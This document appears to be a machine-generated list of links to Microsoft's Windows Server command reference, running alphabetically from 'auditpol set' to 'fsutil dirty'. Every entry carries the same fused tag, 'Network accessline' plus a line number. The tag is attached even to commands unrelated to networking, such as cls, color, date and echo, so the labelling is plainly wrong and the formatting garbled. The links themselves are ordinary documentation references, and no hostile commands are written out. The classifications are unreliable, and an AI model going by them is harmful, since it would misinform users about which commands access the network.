- [auditpol set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-set) - Network accessline 32
- [autochk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autochk) - Network accessline 33
- [autoconv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autoconv) - Network accessline 34
- [autofmt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autofmt) - Network accessline 35
- [automount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/automount) - Network accessline 39
- [bcdboot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdboot) - Network accessline 40
- [bcdedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit) - Network accessline 41
- [bdehdcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg) - Network accessline 42
- [bdehdcfg driveinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-driveinfo) - Network accessline 43
- [bdehdcfg newdriveletter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-newdriveletter) - Network accessline 44
- [bdehdcfg quiet](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-quiet) - Network accessline 45
- [bdehdcfg restart](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-restart) - Network accessline 46
- [bdehdcfg size](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-size) - Network accessline 47
- [bdehdcfg target](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-target) - Network accessline 48
- [begin backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-backup) - Network accessline 49
- [begin restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-restore) - Network accessline 50
- [bitsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin) - Network accessline 51
- [bitsadmin addfile](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfile) - Network accessline 52
- [bitsadmin addfileset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfileset) - Network accessline 53
- [bitsadmin addfilewithranges](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfilewithranges) - Network accessline 54
- [bitsadmin cache](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache) - Network accessline 55
- [bitsadmin cancel](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cancel) - Network accessline 56
- [bitsadmin complete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-complete) - Network accessline 57
- [bitsadmin create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-create) - Network accessline 58
- [bitsadmin examples](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples) - Network accessline 59
- [bitsadmin getaclflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getaclflags) - Network accessline 60
- [bitsadmin getbytestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestotal) - Network accessline 61
- [bitsadmin getbytestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestransferred) - Network accessline 62
- [bitsadmin getclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getclientcertificate) - Network accessline 63
- [bitsadmin getcompletiontime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcompletiontime) - Network accessline 64
- [bitsadmin getcreationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcreationtime) - Network accessline 65
- [bitsadmin getcustomheaders](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcustomheaders) - Network accessline 66
- [bitsadmin getdescription](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdescription) - Network accessline 67
- [bitsadmin getdisplayname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdisplayname) - Network accessline 68
- [bitsadmin geterror](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterror) - Network accessline 69
- [bitsadmin geterrorcount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterrorcount) - Network accessline 70
- [bitsadmin getfilestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestotal) - Network accessline 71
- [bitsadmin getfilestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestransferred) - Network accessline 72
- [bitsadmin gethelpertokenflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokenflags) - Network accessline 73
- [bitsadmin gethelpertokensid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokensid) - Network accessline 74
- [bitsadmin gethttpmethod](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethttpmethod) - Network accessline 75
- [bitsadmin getmaxdownloadtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmaxdownloadtime) - Network accessline 76
- [bitsadmin getminretrydelay](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getminretrydelay) - Network accessline 77
- [bitsadmin getmodificationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmodificationtime) - Network accessline 78
- [bitsadmin getnoprogresstimeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnoprogresstimeout) - Network accessline 79
- [bitsadmin getnotifycmdline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifycmdline) - Network accessline 80
- [bitsadmin getnotifyflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyflags) - Network accessline 81
- [bitsadmin getnotifyinterface](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyinterface) - Network accessline 82
- [bitsadmin getowner](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getowner) - Network accessline 83
- [bitsadmin getpeercachingflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpeercachingflags) - Network accessline 84
- [bitsadmin getpriority](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpriority) - Network accessline 85
- [bitsadmin getproxybypasslist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxybypasslist) - Network accessline 86
- [bitsadmin getproxylist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxylist) - Network accessline 87
- [bitsadmin getproxyusage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxyusage) - Network accessline 88
- [bitsadmin getreplydata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplydata) - Network accessline 89
- [bitsadmin getreplyfilename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyfilename) - Network accessline 90
- [bitsadmin getreplyprogress](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyprogress) - Network accessline 91
- [bitsadmin getsecurityflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getsecurityflags) - Network accessline 92
- [bitsadmin getstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getstate) - Network accessline 93
- [bitsadmin gettemporaryname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettemporaryname) - Network accessline 94
- [bitsadmin gettype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettype) - Network accessline 95
- [bitsadmin getvalidationstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getvalidationstate) - Network accessline 96
- [bitsadmin help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-help) - Network accessline 97
- [bitsadmin info](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-info) - Network accessline 98
- [bitsadmin list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-list) - Network accessline 99
- [bitsadmin listfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-listfiles) - Network accessline 100
- [bitsadmin makecustomheaderswriteonly](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-makecustomheaderswriteonly) - Network accessline 101
- [bitsadmin monitor](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-monitor) - Network accessline 102
- [bitsadmin nowrap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-nowrap) - Network accessline 103
- [bitsadmin peercaching](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching) - Network accessline 104
- [bitsadmin peers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers) - Network accessline 105
- [bitsadmin rawreturn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-rawreturn) - Network accessline 106
- [bitsadmin removeclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removeclientcertificate) - Network accessline 107
- [bitsadmin removecredentials](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removecredentials) - Network accessline 108
- [bitsadmin replaceremoteprefix](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-replaceremoteprefix) - Network accessline 109
- [bitsadmin reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-reset) - Network accessline 110
- [bitsadmin resume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-resume) - Network accessline 111
- [bitsadmin setaclflag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setaclflag) - Network accessline 112
- [bitsadmin setclientcertificatebyid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setclientcertificatebyid) - Network accessline 113
- [bitsadmin setclientcertificatebyname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setclientcertificatebyname) - Network accessline 114
- [bitsadmin setcredentials](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setcredentials) - Network accessline 115
- [bitsadmin setcustomheaders](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setcustomheaders) - Network accessline 116
- [bitsadmin setdescription](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setdescription) - Network accessline 117
- [bitsadmin setdisplayname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setdisplayname) - Network accessline 118
- [bitsadmin sethelpertoken](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethelpertoken) - Network accessline 119
- [bitsadmin sethelpertokenflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethelpertokenflags) - Network accessline 120
- [bitsadmin sethttpmethod](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethttpmethod) - Network accessline 121
- [bitsadmin setmaxdownloadtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setmaxdownloadtime) - Network accessline 122
- [bitsadmin setminretrydelay](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setminretrydelay) - Network accessline 123
- [bitsadmin setnoprogresstimeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnoprogresstimeout) - Network accessline 124
- [bitsadmin setnotifycmdline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifycmdline) - Network accessline 125
- [bitsadmin setnotifyflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifyflags) - Network accessline 126
- [bitsadmin setpeercachingflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setpeercachingflags) - Network accessline 127
- [bitsadmin setpriority](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setpriority) - Network accessline 128
- [bitsadmin setproxysettings](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setproxysettings) - Network accessline 129
- [bitsadmin setreplyfilename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setreplyfilename) - Network accessline 130
- [bitsadmin setsecurityflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setsecurityflags) - Network accessline 131
- [bitsadmin setvalidationstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setvalidationstate) - Network accessline 132
- [bitsadmin suspend](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-suspend) - Network accessline 133
- [bitsadmin takeownership](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-takeownership) - Network accessline 134
- [bitsadmin transfer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer) - Network accessline 135
- [bitsadmin util](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util) - Network accessline 136
- [bitsadmin wrap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-wrap) - Network accessline 137
- [bitsadmin cache and delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-delete) - Network accessline 138
- [bitsadmin cache and deleteurl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-deleteurl) - Network accessline 139
- [bitsadmin cache and getexpirationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-getexpirationtime) - Network accessline 140
- [bitsadmin cache and getlimit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-getlimit) - Network accessline 141
- [bitsadmin cache and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-help) - Network accessline 142
- [bitsadmin cache and info](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-info) - Network accessline 143
- [bitsadmin cache and list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-list) - Network accessline 144
- [bitsadmin cache and setexpirationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-setexpirationtime) - Network accessline 145
- [bitsadmin cache and setlimit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-setlimit) - Network accessline 146
- [bitsadmin cache and clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-clear) - Network accessline 147
- [bitsadmin peercaching and getconfigurationflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-getconfigurationflags) - Network accessline 148
- [bitsadmin peercaching and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-help) - Network accessline 149
- [bitsadmin peercaching and setconfigurationflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-setconfigurationflags) - Network accessline 150
- [bitsadmin peers and clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-clear) - Network accessline 151
- [bitsadmin peers and discover](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-discover) - Network accessline 152
- [bitsadmin peers and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-help) - Network accessline 153
- [bitsadmin peers and list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-list) - Network accessline 154
- [bitsadmin util and enableanalyticchannel](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-enableanalyticchannel) - Network accessline 155
- [bitsadmin util and getieproxy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-getieproxy) - Network accessline 156
- [bitsadmin util and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-help) - Network accessline 157
- [bitsadmin util and repairservice](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-repairservice) - Network accessline 158
- [bitsadmin util and setieproxy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-setieproxy) - Network accessline 159
- [bitsadmin util and version](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-version) - Network accessline 160
- [bootcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg) - Network accessline 161
- [bootcfg addsw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-addsw) - Network accessline 162
- [bootcfg copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-copy) - Network accessline 163
- [bootcfg dbg1394](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-dbg1394) - Network accessline 164
- [bootcfg debug](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-debug) - Network accessline 165
- [bootcfg default](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-default) - Network accessline 166
- [bootcfg delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-delete) - Network accessline 167
- [bootcfg ems](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-ems) - Network accessline 168
- [bootcfg query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-query) - Network accessline 169
- [bootcfg raw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-raw) - Network accessline 170
- [bootcfg rmsw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-rmsw) - Network accessline 171
- [bootcfg timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-timeout) - Network accessline 172
- [break](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/break) - Network accessline 176
- [cacls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cacls) - Network accessline 177
- [call](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/call) - Network accessline 178
- [cd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cd) - Network accessline 179
- [certreq](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certreq_1) - Network accessline 180
- [certutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil) - Network accessline 181
- [change](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change) - Network accessline 182
- [change logon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-logon) - Network accessline 183
- [change port](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-port) - Network accessline 184
- [change user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-user) - Network accessline 185
- [chcp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp) - Network accessline 186
- [chdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chdir) - Network accessline 187
- [chglogon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chglogon) - Network accessline 188
- [chgport](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chgport) - Network accessline 189
- [chgusr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chgusr) - Network accessline 190
- [chkdsk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chkdsk) - Network accessline 191
- [chkntfs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chkntfs) - Network accessline 192
- [choice](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/choice) - Network accessline 193
- [cipher](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cipher) - Network accessline 194
- [clean](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clean) - Network accessline 195
- [cleanmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cleanmgr) - Network accessline 196
- [clip](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip) - Network accessline 197
- [cls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cls) - Network accessline 198
- [cmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd) - Network accessline 199
- [cmdkey](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) - Network accessline 200
- [cmstp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp) - Network accessline 201
- [color](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/color) - Network accessline 202
- [comp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/comp) - Network accessline 203
- [compact](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/compact) - Network accessline 204
- [compact vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/compact-vdisk) - Network accessline 205
- [convert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert) - Network accessline 206
- [convert basic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-basic) - Network accessline 207
- [convert dynamic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-dynamic) - Network accessline 208
- [convert gpt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-gpt) - Network accessline 209
- [convert mbr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/convert-mbr) - Network accessline 210
- [copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/copy) - Network accessline 211
- [create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create) - Network accessline 212
- [create partition efi](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-efi) - Network accessline 213
- [create partition extended](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-extended) - Network accessline 214
- [create partition logical](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-logical) - Network accessline 215
- [create partition msr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-msr) - Network accessline 216
- [create partition primary](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-partition-primary) - Network accessline 217
- [create volume mirror](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-mirror) - Network accessline 218
- [create volume raid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-raid) - Network accessline 219
- [create volume simple](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-simple) - Network accessline 220
- [create volume stripe](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/create-volume-stripe) - Network accessline 221
- [cscript](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cscript) - Network accessline 225
- [date](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/date) - Network accessline 226
- [dcdiag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dcdiag) - Network accessline 227
- [dcgpofix](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dcgpofix) - Network accessline 228
- [dcpromo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dcpromo) - Network accessline 229
- [defrag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/defrag) - Network accessline 230
- [del](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/del) - Network accessline 231
- [delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete) - Network accessline 232
- [delete disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-disk) - Network accessline 233
- [delete partition](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-partition) - Network accessline 234
- [delete shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-shadows) - Network accessline 235
- [delete volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/delete-volume) - Network accessline 236
- [detach vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detach-vdisk) - Network accessline 237
- [detail](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail) - Network accessline 238
- [detail disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-disk) - Network accessline 239
- [detail partition](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-partition) - Network accessline 240
- [detail vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-vdisk) - Network accessline 241
- [detail volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/detail-volume) - Network accessline 242
- [dfsdiag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag) - Network accessline 243
- [dfsdiag testdcs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag-testdcs) - Network accessline 244
- [dfsdiag testdfsconfig](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag-testdfsconfig) - Network accessline 245
- [dfsdiag testdfsintegrity](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag-testdfsintegrity) - Network accessline 246
- [dfsdiag testreferral](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag-testreferral) - Network accessline 247
- [dfsdiag testsites](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsdiag-testsites) - Network accessline 248
- [dfsrmig](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dfsrmig) - Network accessline 249
- [diantz](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diantz) - Network accessline 250
- [dir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dir) - Network accessline 251
- [diskcomp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskcomp) - Network accessline 252
- [diskcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskcopy) - Network accessline 253
- [diskpart](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskpart) - Network accessline 254
- [diskperf](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskperf) - Network accessline 255
- [diskraid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskraid) - Network accessline 256
- [diskshadow](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow) - Network accessline 257
- [dispdiag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dispdiag) - Network accessline 258
- [dnscmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd) - Network accessline 259
- [doskey](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/doskey) - Network accessline 260
- [driverquery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/driverquery) - Network accessline 261
- [dtrace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dtrace) - Network accessline 265
- [echo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo) - Network accessline 266
- [edit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/edit) - Network accessline 267
- [endlocal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/endlocal) - Network accessline 268
- [end restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/end-restore) - Network accessline 269
- [erase](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase) - Network accessline 270
- [eventcreate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/eventcreate) - Network accessline 271
- [Evntcmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/evntcmd) - Network accessline 272
- [exec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/exec) - Network accessline 273
- [exit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/exit) - Network accessline 274
- [expand](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/expand) - Network accessline 275
- [expand vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/expand-vdisk) - Network accessline 276
- [expose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/expose) - Network accessline 277
- [extend](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/extend) - Network accessline 278
- [extract](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/extract) - Network accessline 282
- [fc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fc) - Network accessline 283
- [filesystems](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/filesystems) - Network accessline 284
- [find](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/find) - Network accessline 285
- [findstr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findstr) - Network accessline 286
- [finger](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/finger) - Network accessline 287
- [flattemp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/flattemp) - Network accessline 288
- [fondue](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fondue) - Network accessline 289
- [for](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/for) - Network accessline 290
- [forfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/forfiles) - Network accessline 291
- [format](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/format) - Network accessline 292
- [freedisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/freedisk) - Network accessline 293
- [fsutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil) - Network accessline 294
- [fsutil 8dot3name](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-8dot3name) - Network accessline 295
- [fsutil behavior](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior) - Network accessline 296
- [fsutil devdrv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-devdrv) - Network accessline 297
- [fsutil dirty](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-dirty) - Network accessline 298
